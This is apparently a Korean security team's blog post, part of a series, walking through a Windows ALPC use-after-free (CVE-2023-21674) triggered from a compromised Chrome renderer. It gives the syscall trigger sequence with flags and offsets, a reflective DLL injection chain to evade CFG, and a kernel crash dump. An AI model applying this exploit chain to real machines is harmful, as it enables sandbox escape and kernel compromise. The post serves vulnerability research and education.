[Wipeload Step 5.] Sorry, I studied ALPC just to show you this (EN)

Hi everyone! Today gongjae is back with Step 5 — the crown jewel of the Wipeload project, haha.

image

Previous research posts
https://hackyboiz.github.io/2026/06/06/OUYA77/Wipeload_step1/kr/
https://hackyboiz.github.io/2026/06/21/ji9umi/Wipeload_step2/kr/
https://hackyboiz.github.io/2026/06/26/ji9umi/Wipeload_step3/kr/
https://hackyboiz.github.io/2026/07/13/OUYA77/Wipeload_step4/kr/

Steps 2–3 covered ji9umi’s Renderer RCE, and in Step 4 OUYA77 gave us a detailed tour of the Chrome sandbox. Picking up that Way from both of them, I’m going to walk you through — in detail — how do we actually get to Medium-privilege code execution from Chrome? In today’s Step 5 I’ll explain ALPC, the key ingredient of the Sandbox Escape, and in Step 6 we’ll take that ALPC and see how it takes us all the way to Medium-privilege code execution!

Shall we get right into it? Let’s go~

1. Sorry, I studied ALPC just to show you this

ALPC (Advanced Local Procedure Call) is the IPC that sits at the very bottom of process-to-process conversations inside Windows. The local RPC we’re all familiar with, at the kernel level, mostly ends up riding ALPC too, and system services everyone has heard of like “csrss.exe” or “lsass.exe”, DCOM, WinRT activation… pretty much every user-mode service is talking over an ALPC port somewhere. Chrome is no exception — the Mojo IPC pipe between the renderer and the browser has ALPC partially baked into its underlying transport. Which is to say: the object we’re going to be poking at today is dead common, but the kind of thing you’d miss unless you look closely!!

image

?? : You studied ALPC just to do THIS?
gongjae : Nope, just did it for fun

Inside the kernel, two objects star in this show. _ALPC_PORT is the communication endpoint, and KALPC_MESSAGE is a single message flowing through that endpoint. Easiest mental model: server opens a port, clients attach, they exchange messages!

https://hackyboiz.github.io/2025/11/29/gongjae/Windows_ALPC/KR/

Actually, we already went over ALPC once in a previous research post, right? Stuff like the port splitting into two tiers of connection port / communication port, and basic message-attribute concepts — I put all of that together in the earlier ALPC post! If this is your first time hearing about ALPC, I’d recommend giving that one a skim first… but honestly the single most important fact is: how does the Chrome sandbox treat ALPC?

image

The answer: the NtAlpc* family of syscalls themselves are not on the sandbox’s filter list!! Even though it’s an undocumented interface with nothing on the official docs, it’s a very-much-alive API, so even an Untrusted IL renderer can call the stubs ntdll exports directly.

1.1 Sync vs Async

There are two ways to send a message over ALPC. Async requests toss the request onto a queue and the calling thread goes on its merry way. Sync requests, on the other hand, park the calling thread inside the kernel until an answer comes back!

image

For the kernel to sustain that “parked” state, it obviously needs some info, right? Which thread is waiting on which message, who to wake up when the reply lands — that stuff has to be recorded somewhere!

1.2 Waiting thread

So when a sync request comes in, the kernel slips a back-pocket pointer into the message object that says “the thread waiting on this message’s reply is THIS guy!!” That’s the _KALPC_MESSAGE.WaitingThread field, and in the environment I’m experimenting with today, Windows 22H2 22621.963, it lives at offset +0x20.

There’s a matching field going the other direction too. On the thread side there’s a field that records “the message I’m currently waiting on is THIS guy!!” — that’s _ETHREAD.AlpcMessageId, located at offset +0x578. WaitingThread from earlier and this AlpcMessageId form a pair of back-pointers pointing at each other!

image

Kind of like how Tai Lung and Master Shifu shared a special bond back when Tai Lung was little…

There’s a reason the kernel bothers to write this pair with _InterlockedExchange atomically… since the same thread can be touched from multiple places at once, you need atomicity to avoid races. 😂

But even so — when the pair matches it’s beautiful, and the moment one side falls out of step, that’s when things go sideways. The main character of today’s vuln is this very field, and an unmanaged back-pointer is guaranteed to blow up in your face sooner or later, haha!

2. Root Cause

Alright, as I said above, we need to see why this unmanaged back-pointer is the seed of the vuln, right? But first, let’s quickly review sync vs async messaging through some code!

2.1 ALPC_MSGFLG_SYNC_REQUEST

The entry point where a message actually lands on the queue is AlpcpDispatchNewMessage. That “somewhere in the middle” I mentioned earlier is right here! Looking at it in IDA it feels like this:

if ((SendFlags & 0x20000) != 0) {          // ALPC_MSGFLG_SYNC_REQUEST
    // plant the thread back-pointer
    *(_QWORD *)(msg + 0x20) = curthread;                 // msg.WaitingThread = current _ETHREAD
    _InterlockedExchange64(curthread + 0x578, msg);      // _ETHREAD.AlpcMessageId = msg
}

Two lines, that’s the whole trick. Stuff the current thread’s _ETHREAD directly into msg+0x20, and conversely plant the message at curthread + 0x578. That completes the pair of back-pointers pointing at each other.

Let’s also briefly trace how SendFlags gets here.

SendFlags & 0x20000 is checking the ALPC_MSGFLG_SYNC_REQUEST flag — if it were an async request, those two lines get skipped wholesale, right? So to hit this vuln you absolutely have to set 0x20000 in SendFlags and take the sync-request branch. The original Theori blog really emphasized this too!!

One more thing worth noting: the reason the setting is stamped in both directions is to leave no gaps when routing the reply. But this pair hides a fun little asymmetry — would you believe me???

image

  1. When the thread dies, the _ETHREAD gets deleted entirely, so the AlpcMessageId on the other side also disappears with it
  2. But the WaitingThread planted on the message side stays right there as long as the message is alive

This asymmetry is exactly the starting point of the vulnerability!

2-2. SYNC_REQUEST Use-After-Free

This back-pointer pair has no concept of lifetime management. It gets set, but there’s no janitor to clean up the WaitingThread inside the message when the thread dies!! 🧹 That is, no exaggeration, the root of today’s vuln.

Layering a reference-counting lens on top makes it click. In the Windows kernel, the by-the-book way to store an object pointer inside another object is: bump the refcount with ObReferenceObjectByPointer, and when you’re done, drop it back down with the matching dereference.

image

→ But WaitingThread?? It just plants a raw pointer, that’s it!

It doesn’t touch the _ETHREAD refcount, and it doesn’t clean up this slot on destruction… 🥵

The consequence: even after the thread dies, its refcount hits 0, and it gets returned to the pool slab — this raw pointer just sits there, unbothered!! That opens up the following scenario.

image

  1. Some thread sends a SYNC message and plants itself into msg+0x20
  2. That thread dies via NtTerminateThread, and via CloseHandle(hThread) and CloseHandle(hWorkerFactory) the _ETHREAD gets returned to the NonPagedPoolNx Thre-tag slab
  3. Because the worker factory is holding one reference on the thread, just closing the thread handle isn’t enough to release the slab
  4. Result: the WaitingThread inside the message keeps pointing at what is now a pointer that will get freed!!

Sounds like OUYA77’s feather-for-Tai-Lung from Step 4 is now sitting on the table, doesn’t it? Right now it looks like a totally useless feather, but the moment the kernel touches this message again and dereferences msg+0x20 — boom, UAF.

2.3 How to Trigger UAF?

Okay, now let’s look at how you actually fire this unmanaged back-pointer! The trigger is split across two threads. One is the trigger thread, which queues the message, plants itself, then falls asleep inside the kernel. The other is the main thread, which kills the trigger thread and, at the very end, lights the fuse!

But here’s a new object we haven’t met: WorkerFactory. It’s a kernel object that arrived in Vista as the backend of the Windows thread pool, playing housekeeper — creating, maintaining, and reclaiming its own worker threads.

Normally a worker thread’s life in the Windows thread pool is dead simple. It calls NtWaitForWorkViaWorkerFactory and dozes inside the kernel until there’s a work item to handle; when work shows up it wakes up, does the job, and goes back to sleep via this syscall. So this syscall is the thread pool’s “worker, wait here until there’s work” parking spot.

But we have zero interest in actually running a thread pool. We just create a bare-shell WorkerFactory with NtCreateWorkerFactory and then, pretending to be a worker, we call NtWaitForWorkViaWorkerFactory ourselves to hitch a ride on that “worker-waiting-for-work” mechanism.

Setting WFDW.Flags to 1 to go into deferred send mode is also a key point. If you go immediate-send, right after the message is queued it flows straight through to dispatch completion, and the moment you set things up, the other side’s cleanup gets dragged along too. Switching to deferred send and kicking it off with NtSetIoCompletion lets us plant the setup but defer the dispatch completion. That’s the window we need to create the dangling state!

Let’s look at the steps the trigger thread walks through. One thing to note up front — steps 1, 2, 3 build the “ingredients (handles)” IoCompletion / WorkerFactory / ALPC port, and 4, 5, 6 are all just “fill in values in my user memory” prep work. The message actually landing on the queue and this thread getting nailed to the kernel — that happens on line 7, and only line 7. Until 7, the message, the trailer, and the WFDW are just struct values being set in user memory; the moment that bundle crosses into the kernel and becomes “message queued + thread blocked” is precisely 7.

// ── 1,2,3 : create kernel handles (ingredients) first ──
1. NtCreateIoCompletion(&hIoComp, ...)                       // IoCompletion handle
2. NtCreateWorkerFactory(&hWF, ..., hIoComp,                 // WorkerFactory shell
                         GetCurrentProcess(), ...)
3. NtAlpcCreatePort(&hPort, NULL, &attr)                     // anonymous ALPC port (Flags = 0x20000)

// ── 4,5,6 : from here it's all just filling struct values in 'user memory' (kernel doesn't know yet) ──
4. Prepare PORT_MESSAGE  (user memory)                         // ← the 'message' itself
     DataLength     = 0x100
     TotalLength    = 0x128        // 0x28 header + 0x100 body
     DataInfoOffset = 0x30         // signpost: "my trailer is over here"

5. Set up the trailer  (msg + 0x30, user memory)               // ← the spot DataInfoOffset points to
     NumberOfEntries        = 1
     Entries[0].BaseAddress = target_page   // an RW page in my process
     Entries[0].DataLength  = 0x100

6. Set up WFDW  (user memory)                                  // ← the "order form" we'll hand to the kernel
     .AlpcSendMessage      = &msg
     .AlpcSendMessagePort  = hPort
     .AlpcSendMessageFlags = 0x20000    // SYNC_REQUEST
     .Flags                = 1          // deferred send

// ── from here we enter the kernel: we hand the whole WFDW over ──
7. NtWaitForWorkViaWorkerFactory(hWF, ..., &wfdw)
   // kernel reads WFDW, performs deferred SYNC send → message queued +
   //   msg.WaitingThread = my _ETHREAD planted + this thread blocks!

image

Putting it in words again: setting up the message (4), trailer (5), and WFDW (6) is all just writing values into my user memory. PORT_MESSAGE’s DataInfoOffset = 0x30 is a signpost saying “my trailer is 0x30 bytes into msg,” and 5 is writing BaseAddress / DataLength at that spot. The kernel has zero idea what we’re preparing up to this point. The actual “send message (post)” isn’t a send function we call ourselves — it’s the kernel doing it on our behalf when we hand the WFDW we filled at 6 over via NtWaitForWorkViaWorkerFactory at 7. That’s when it takes the SYNC branch and plants my _ETHREAD into msg.WaitingThread. But because we’re in deferred mode, the setup is planted but the follow-up cleanup gets pushed back — and that gap is exactly the time window we need in the next step to create the dangling state.

By the time we get here, the kernel state looks like this: the message is sitting on the port queue, that message’s +0x20 points at the trigger thread’s _ETHREAD, and the trigger thread is snoozing away inside NtWaitForWorkViaWorkerFactory. The deal is sealed, and our target is nailed firmly to its seat!

Now it’s the main thread’s turn to light the fuse!

A. CreateThread(trigger)
B. NtSetIoCompletion(hIoComp, ...)   // kick off the deferred send
C. Sleep(500)                        // wait for the trigger thread to settle
D. NtTerminateThread(hthread, 0)     // kill it WITHOUT WFSO!!
E. CloseHandle(hthread)              // thread-handle ref -1
   Sleep(40000)                      // slot we'll use in Step 6 — today it's just wait time
F. CloseHandle(hWorkerFactory)       // only after this does the _ETHREAD return to the slab
G. CloseHandle(hIoComp)
H. CloseHandle(hPort)                // ← boom!!!

image

Then the big moment — H, CloseHandle(hPort) — that’s what sets off the bomb. The Close(hWF) and Close(hIoComp) before it do absolutely nothing! The call chain looks like this:

NtClose(hPort)
 → AlpcpClosePort → AlpcpDeletePort
 → AlpcpSendCloseMessage + AlpcpDoPortCleanup
 → AlpcpFlushMessagesPort → 4× AlpcpFlushQueue
 → AlpcpCancelMessage +0x358
     rcx = *(msg + 0x20);        // msg.WaitingThread (already-freed _ETHREAD!)
     xchg [rcx + 0x578], rax     // ← UAF write here → BSOD
     // → PAGE_FAULT_IN_NONPAGED_AREA (0x50)

When the port closes, the kernel loops through the messages still on the queue to clean them up, and per message it calls AlpcpCancelMessage. The xchg instruction at offset +0x358 inside that function does a write to +0x578 of the _ETHREAD pointed to by msg+0x20 — but that _ETHREAD is already dead and back in the slab! Writing to something that isn’t there means the write goes into a freed page, and off we go straight to BSOD. 💥

By the way, there’s also a reason we didn’t bother building a server-client port pair and instead just stood up a single anonymous port with NtAlpcCreatePort, catching the sink on the CloseHandle(hPort) path — this path naturally lines up with the LpcpCopyRequestData gate that leads to the Read/Write primitive in Step 6! (That’s a Step 6 spoiler though, so I’ll stop right there haha)

3. Chrome to ALPC (With BSOD)

Okay, so far it’s all been kernel-side chatter, right? But where we’re actually standing is inside the renderer process, and on top of that, inside a sandbox that’s been crushed under Untrusted IL. We’ve got a Restricted Token slapped on us, the Job Object blocks process creation, we can’t touch files, we can’t open network sockets. So how on earth do we run that syscall sequence from inside this prison cell?? 🤔

This is exactly where the fact I planted at the very start pays off. Chrome’s sandbox slams the door shut on files, network, and win32k, but it does not gate the NT syscalls that ntdll exposes. So even from Untrusted IL, things like NtCreateIoCompletion, NtCreateWorkerFactory, NtAlpcCreatePort, NtWaitForWorkViaWorkerFactory, NtClose — you can just call them!

In Steps 2–3, ji9umi already handed us renderer RCE (V8 arbitrary R/W + WASM IndirectFunctionTable for short shellcode execution). Great launch pad, but a bit cramped for freely calling kernel syscalls. What we need is an execution environment where native code can run around freely inside the renderer. So we’re going to plant a trigger DLL inside the renderer and run the sequence above from there!

3.1 sRDI (Shellcode Reflective DLL Injection)

https://github.com/monoxgas/srdi

When I say “plant a DLL”, LoadLibrary comes to mind, right? But as I mentioned earlier, the Untrusted IL renderer has almost no file-system access, so we can’t drop a DLL file on disk. LoadLibraryA("C:\\payload.dll") doesn’t even get out the gate.. 🥲

But here’s the fun bit! ntdll.dll is already mapped into the renderer, and “self-address-space-manipulation” syscalls like NtAllocateVirtualMemory / NtProtectVirtualMemory aren’t blocked by the sandbox. Making an executable page in your own process is not something the sandbox blocks (if the process has ACG on this gets blocked too, but Chrome renderer doesn’t enable ACG by default).

Through that crack, the trick to plant code purely in memory is sRDI! You pre-pack the DLL into a relocatable blob, and on load, without touching the file system at all, it resolves imports/relocs and starts executing right there in memory. Doesn’t open files, doesn’t spawn processes, doesn’t use the network.

💡
But why bother laying down the DLL in full PE image shape instead of raw shellcode? This is another thing I learned while reproducing it — if you just drop raw code onto an RWX page and hit it with CreateThread, the renderer’s CFG (Control Flow Guard) slams the door on you. 🚫 CFG checks via bitmap whether a thread start address is “inside a properly loaded image,” and a raw RWX address with no image backing doesn’t pass. sRDI fully dresses the code up with MZ/PE headers, per-section protection attributes, and even registers SEH via RtlAddFunctionTable, so to the kernel/loader it looks like “a genuinely loaded module.” That’s why CreateThread targeting a function inside it passes the CFG check! I actually tested this — raw PIC and even “PE-less, RX-only protected” pages all got blocked; only a full PE mapping (sRDI) made it through. 🙃

3.2 Three-stage commit stub

There’s one more problem. The execution foothold V8 hands us initially is meant for WASM code and it’s pretty cramped — too tight to slap an 8KB-ish sRDI blob on top of. So we use a slightly hand-cranked three-stage trick!

image

  1. First plant and run a 154-byte commit_stub → walks the PEB’s Ldr.InLoadOrder to find kernel32.dll, resolves VirtualAlloc on its own → allocates a generous heap right next to it with PAGE_EXECUTE_READWRITE
  2. Copy the sRDI blob into that generous heap
  3. A 12-byte mov rax, addr; jmp rax trampoline jumps into sRDI’s Reflective_Loader → resolves imports/relocs and calls the DLL’s exported RunExploit!

The JS side flow looks roughly like this:

// Stage 1: commit_stub onto the foothold page
arbitrary_write(rwx, commit_stub_bytes);
shellcode();                          // stub runs → VirtualAlloc

// Stage 2: sRDI blob into the committed big RWX heap
arbitrary_write(commit_addr, sRDI_bytes);

// Stage 3: trampoline → Reflective_Loader → RunExploit
arbitrary_write(rwx, trampoline);
shellcode();

By the time we’re here, the C code we wrote is actually running as real x64 native inside the renderer. Now we can run the UAF scenario inside it exactly as designed!

3.3 BSOD via the trigger DLL

Finally, hands-on time! The trigger DLL is dead boring. What matters here is verifying that the UAF definitely fires, so:

verifier /flags 0x9BB /driver ntoskrnl.exe

You’ve got to run the above command to make sure the UAF doesn’t slip through silently! What this command does is give special treatment to the kernel’s pool allocations/frees so that touching a freed address triggers an immediate page fault. A lot of the time UAFs just quietly pass by, so this catches them!

Back to the trigger — it has a single RunExploit export, and all it does is walk the UAF scenario as-is. Open the sample page and there’s exactly one button on screen: “Exploit Me”. Let’s click it and see if we get a BSOD!

image

Click the button and — same way ji9umi did back in Step 3 — Renderer RCE lands, the planted sRDI runs, and a few seconds later, BSOD!!

image

0: kd> !analyze -v
Connected to Windows 10 22621 x64 target at (Sun Jul 19 20:15:13.523 2026 (UTC + 9:00)), ptr64 TRUE
Loading Kernel Symbols
..........................................

Press ctrl-c (cdb, kd, ntsd) or ctrl-break (windbg) to abort symbol loads that take too long.
Run !sym noisy before .reload to track down problems loading symbols.

.....................
................................................................
.........................................................
Loading User Symbols
................................
Loading unloaded module list
..................
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffff900dcddceb78, memory referenced.
Arg2: 0000000000000002, X64: bit 0 set if the fault was due to a not-present PTE.
    bit 1 is set if the fault was due to a write, clear if a read.
    bit 3 is set if the processor decided the fault was due to a corrupted PTE.
    bit 4 is set if the fault was due to attempted execute of a no-execute PTE.
    - ARM64: bit 1 is set if the fault was due to a write, clear if a read.
    bit 3 is set if the fault was due to attempted execute of a no-execute PTE.
Arg3: fffff8037e0fcf6c, If non-zero, the instruction address which referenced the bad memory
    address.
Arg4: 0000000000000002, (reserved)

BUGCHECK_CODE:  50

BUGCHECK_P1: ffff900dcddceb78

BUGCHECK_P2: 2

BUGCHECK_P3: fffff8037e0fcf6c

BUGCHECK_P4: 2

FAULTING_THREAD:ffff900dc22be600EXCEPTION_PARAMETER1:  0000000000000001

EXCEPTION_PARAMETER2:  ffff900dcddceb78

WRITE_ADDRESS:  ffff900dcddceb78

MM_INTERNAL_CODE:  2

PROCESS_NAME:  chrome.exe

IP_IN_PAGED_CODE:
nt!AlpcpCancelMessage+358
fffff803`7e0fcf6c 48878178050000  xchg    rax,qword ptr [rcx+578h]

STACK_TEXT:
ffffc182`d4b55c58 fffff803`7df61ac2     : ffffc182`d4b55dc0 fffff803`7dd92480 fffff803`7c664180 ffff900d`cddceb01 : nt!DbgBreakPointWithStatus
ffffc182`d4b55c60 fffff803`7df611b3     : fffff803`00000003 ffffc182`d4b55dc0 fffff803`7de4aaa0 00000000`00000050 : nt!KiBugCheckDebugBreak+0x12
ffffc182`d4b55cc0 fffff803`7de31807     : 00000000`00000000 00000000`00000000 ffffc182`d4b56690 ffff900d`cddceb78 : nt!KeBugCheck2+0xba3
ffffc182`d4b56430 fffff803`7de8a32f     : 00000000`00000050 ffff900d`cddceb78 00000000`00000002 ffffc182`d4b56690 : nt!KeBugCheckEx+0x107
ffffc182`d4b56470 fffff803`7dc5ccac     : 00000000`00000048 00000000`00000002 ffffc182`d4b56629 00000000`00000000 : nt!MiSystemFault+0x23059f
ffffc182`d4b56570 fffff803`7de42329     : ffffffff`ffffffff 00000000`00000002 00000000`00000000 00000000`00000000 : nt!MmAccessFault+0x29c
ffffc182`d4b56690 fffff803`7e0fcf6c     : ffffa307`cb0b0ce0 00000000`00000008 00000000`00000000 ffff900d`72a48f80 : nt!KiPageFault+0x369
ffffc182`d4b56820 fffff803`7e0fc09b     : ffffffff`00000001 ffff900d`c9466e20 00000000`00010000 ffffffff`ffffffff : nt!AlpcpCancelMessage+0x358
ffffc182`d4b568a0 fffff803`7e0fbdef     : ffffffff`ffffffff ffff900d`c9466e20 ffff900d`c9466f80 ffff900d`c9466e20 : nt!AlpcpFlushQueue+0x117
ffffc182`d4b568e0 fffff803`7e0fc24f     : ffffffff`ffffffff ffffffff`ffffffff ffffc182`d4b56a49 ffff900d`c9466e20 : nt!AlpcpFlushMessagesPort+0x27
ffffc182`d4b56920 fffff803`7e0fc97b     : ffff900d`c9466e20 00000000`00000001 ffff900d`4cdeef20 00000000`00040286 : nt!AlpcpDoPortCleanup+0x8f
ffffc182`d4b56960 fffff803`7e0cae78     : 00000000`00000001 ffffc182`00000000 00000000`0000052c ffffffff`ffffffff : nt!AlpcpClosePort+0x4b
ffffc182`d4b56990 fffff803`7e0c85a9     : 00000000`00000544 ffffc182`d4b56a00 00000000`0000052c ffffa307`00000002 : nt!ObpCloseHandle+0x298
ffffc182`d4b56ab0 fffff803`7de464e5     : ffff900d`c22be600 ffff900d`c22be600 ffffffff`e8287c00 ffff900d`00000000 : nt!NtClose+0x39
ffffc182`d4b56ae0 00007fff`9a12efe4     : 000001a9`c18c1352 00007fff`9a12f850 00007fff`00000000 ffffffff`e8287c00 : nt!KiSystemServiceCopyEnd+0x25
0000006d`6d3fb718 000001a9`c18c1352     : 00007fff`9a12f850 00007fff`00000000 ffffffff`e8287c00 00007fff`99208960 : ntdll!NtClose+0x14
0000006d`6d3fb720 00007fff`9a12f84f     : 00007fff`00000000 ffffffff`e8287c00 00007fff`99208960 00000000`00000000 : 0x000001a9`c18c1352
0000006d`6d3fb728 00007fff`00000000     : ffffffff`e8287c00 00007fff`99208960 00000000`00000000 00000000`00000000 : ntdll!NtResumeThread+0x1f
0000006d`6d3fb730 ffffffff`e8287c00     : 00007fff`99208960 00000000`00000000 00000000`00000000 00000000`00000000 : 0x00007fff`00000000
0000006d`6d3fb738 00007fff`99208960     : 00000000`00000000 00000000`00000000 00000000`00000000 00007fff`00000000 : 0xffffffff`e8287c00
0000006d`6d3fb740 00000000`00000000     : 00000000`00000000 00000000`00000000 00007fff`00000000 00000000`00000000 : KERNEL32!SleepStub

SYMBOL_NAME:  nt!AlpcpCancelMessage+358

MODULE_NAME:ntIMAGE_NAME:  ntkrnlmp.exe

STACK_COMMAND:.process /r /p 0xffff900dc2556240; .thread /r /p 0xffff900dc22be600 ; kbBUCKET_ID_FUNC_OFFSET:  358

FAILURE_BUCKET_ID:  AV_VRFK_nt!AlpcpCancelMessage

OS_VERSION:  10.0.22621.1

BUILDLAB_STR:  ni_release

OSPLATFORM_TYPE:  x64

OSNAME:  Windows 10

FAILURE_ID_HASH:  {b76e5108-ed87-f585-7c9b-99750f572740}

Followup:     MachineOwner

Cracking the dump open in kd after the BSOD, the STOP code is PAGE_FAULT_IN_NONPAGED_AREA (0x50), the faulting IP is nt!AlpcpCancelMessage + 0x358, and the faulting instruction is xchg qword ptr [reg+578h], reg2. Exactly where we predicted! But !analyze -v only tells us “it died here,” not “why it had to die here”… so let’s rewind to the actual register state at the moment of the fault!

0: kd> .process /r /p 0xffff900dc2556240
0: kd> .thread /r /p 0xffff900dc22be600
0: kd> .frame /r 7
07 ffffc182d4b56820 fffff8037e0fc09b     nt!AlpcpCancelMessage+0x358
rax=0000000000000000 rbx=ffffa307cb0b0ce0 rcx=ffff900dcddce600
rdx=000000006b577350 rsi=0000000000000000 rdi=0000000000000000
rip=fffff8037e0fcf6c rsp=ffffc182d4b56820 rbp=0000000000000001
r8=0000000000000000  r9=7ffffffffffffffc r10=0000000000000000
r13=0000000000000000  r14=ffff900dc9466e20 r15=0000000000000001
nt!AlpcpCancelMessage+0x358:
fffff803`7e0fcf6c 48878178050000  xchg    rax,qword ptr [rcx+578h]

.frame /r 7 restores the register context all the way down to stack frame 7 (AlpcpCancelMessage). Right after a raw !analyze -v, kd is parked at DbgBreakPointWithStatus, and whatever r prints reflects “wherever the debugger is stopped,” not the values from the moment the kernel died. This command turns the clock back.

Of the rolled-back values, here are the ones we care about:

  • rip = nt!AlpcpCancelMessage+0x358 — that exact xchg
  • rcx = ffff900dcddce600 — the dangling pointer
  • rax = 0, r13 = 0 — the value being written (just 0)
  • rbx = ffffa307cb0b0ce0 — the msg we’re currently iterating on

Now if we just peel back a few instructions around the xchg, the picture of why it died right here comes into focus!!

0: kd> u nt!AlpcpCancelMessage+0x340 L10
+0x340   call nt!PsReleaseProcessWakeCounter    ; other cleanup work
+0x349   mov  [rbx+0D8h], r13                    ; msg[+0xD8] = 0 (flag stuff)
+0x350   mov  rcx, [rbx+20h]                     ; load msg[+0x20] into rcx
+0x354   test rcx, rcx                           ;   NULL check
+0x357   je   +0x3c9                             ;   if NULL, skip this logic
+0x359   mov  rax, r13                           ; rax = 0 (value to erase with)
+0x35C   xchg rax, [rcx+578h]                    ; atomic-write 0 into +0x578 of what rcx points to
+0x363   cmp  rax, rbx                           ; check if the previous value was our msg pointer

Pull out some kernel-object pointer stored at offset 0x20 of msg, then atomically write 0 into that object’s +0x578 field. As the Part 2 kernel RE spelled out, msg[+0x20] is exactly the WaitingThread field — the pressure point of our UAF. AlpcpDispatchNewMessage plants the trigger thread’s _ETHREAD pointer into this field at send time, and 40 seconds later, when we close the handle, port cleanup dereferences this field again to try to clean up the pending state… but? That thread is already dead and its _ETHREAD itself has been freed!

But honestly — this BSOD is only circumstantial evidence that the “UAF actually stepped on a dangling pointer”; it is not a complete Sandbox Escape yet! 🙃 For the exploit to work, that pointer left in msg+0x20 can’t be pointing at just any random page — we need to reclaim the slab so it points at a live _ETHREAD that we control. Right now we’re basically just faceplanting on top of the dangling.

Tai Lung got his feather and the chains came off, but there’s still a long road ahead before he can go find Master Shifu — that’s where we are!!

4. Outro: So how do you actually exploit this? (Step 6 preview)

You made it — nice work! But as you may have noticed, everything we did up to here was really just me taking Theori’s original write-up and padding it with stuff I dug up on my own. The genuinely fun part starts now, haha

image

Even Theori itself basically just says “use file pickers and you can chain this all the way to Medium code execution” and leaves it at that.. as for the actual details? Silence. 😂 But there’s no way I’m gonna give up on that

How this UAF gets us a Read/Write primitive, and how that primitive gets us to Medium-privilege code execution — i.e. how, holding OUYA77’s “feather for Tai Lung,” we break out of the prison cell and go find Master Shifu — continues in the next Step 6!

See you in the next one~ 👋

Reference.

https://github.com/hd3s5aa/CVE-2023-21674/blob/main/CVE-2023-21674.cpp

https://theori.io/blog/chaining-n-days-to-compromise-all-part-2-windows-kernel-lpe-a-k-a-chrome-sandbox-escape